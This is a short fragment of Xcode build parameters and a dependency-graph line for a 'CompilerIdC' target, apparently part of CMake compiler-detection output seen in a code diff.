"hideShellScriptEnvironment" : false,
"parameters" : {
"action" : "build",
"overrides" : {
"commandLine" : {
"table" : {
}
},
"synthesized" : {
"table" : {
"ACTION" : "build",
"ENABLE_PREVIEWS" : "NO",
"ENABLE_XOJIT_PREVIEWS" : "NO"
}
}
}
},
"showNonLoggedProgress" : true,
"useDryRun" : false,
"useImplicitDependencies" : false,
"useLegacyBuildLocations" : false,
"useParallelTargets" : false
}

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Target dependency graph (1 target)
Target 'CompilerIdC' in project 'CompilerIdC' (no dependencies)

Some files were not shown because too many files have changed in this diff Show More